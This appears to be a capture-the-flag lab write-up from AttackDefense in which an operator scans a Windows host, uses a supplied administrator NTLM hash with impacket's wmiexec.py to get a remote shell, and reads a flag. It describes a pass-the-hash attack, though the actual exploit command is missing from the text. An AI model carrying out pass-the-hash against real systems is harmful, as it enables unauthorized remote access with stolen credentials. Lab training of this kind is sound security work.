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Name	Windows: Pass The Hash - WMIExec
URL	https://attackdefense.com/challengedetails?cid=2376
Туре	Post Exploitation: With Metasploit

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the "target" file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.17.209
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.17.209

```
root@attackdefense:~# nmap 10.0.17.209
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-09 12:09 IST
Nmap scan report for 10.0.17.209
Host is up (0.062s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.68 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. Also, the MSRPC port (135) is exposed which is useful to run WMI commands. In this case we have the administrator NTLM hash and we will use wmiexec.py script to pass the hash attack.

Administrator User NTLM Hash: 5c4d59391f656d5958dab124ffeabc20

WMIexec.py:

"WMIExec is using a similar approach to smbexec but executing commands through WMI. Also, it doesn't generate noisy messages in the event log that smbexec.py does when creating a service. Victim machine should have DCOM ports exposed because the script uses DCOM for exploitation"

Note: The first 32 bit values i.e 0 is NO Password. Its LM and NT hash. LM not case sensitive. But NT is case sensitive, that is created from the password.

We have successfully gained a remote shell using NTLM hash of the administrator user.

Step 4: Read the flag.

Command: dir type flag.txt

```
C:\>dir
Volume in drive C has no label.
Volume Serial Number is 9E32-0E96
Directory of C:\
11/14/2018 06:56 AM
                        <DIR>
                                       EFI
06/02/2021
            10:19 AM
                                    37 flag.txt
                                       PerfLogs
05/13/2020 05:58 PM
                        <DIR>
11/07/2020 07:47 AM
                        <DIR>
                                       Program Files
11/07/2020 07:47 AM
                        <DIR>
                                       Program Files (x86)
11/07/2020 08:15 AM
                        <DIR>
                                       Users
11/07/2020
           07:49 AM
                        <DIR>
                                       Utilities
06/09/2021
                        <DIR>
            06:43 AM
                                       Windows
               1 File(s)
                                     37 bytes
               7 Dir(s) 15,709,720,576 bytes free
C:\>type flag.txt
oiu21432123avvcde1vsdfxxr323p4sewq412
```

Flag: oiu21432123avvcde1vsdfxxr323p4sewq412

References

- WMIExec
 (https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)
- 2. Understanding Windows local password hashes (NTLM)

 (https://security.stackexchange.com/questions/161889/understanding-windows-local-password-hashes-ntlm)
- 3. LM Hash and NT Hash (http://www.adshotgyan.com/2012/02/lm-hash-and-nt-hash.html)
- 4. LM Hash (https://ldapwiki.com/wiki/LM%20hash)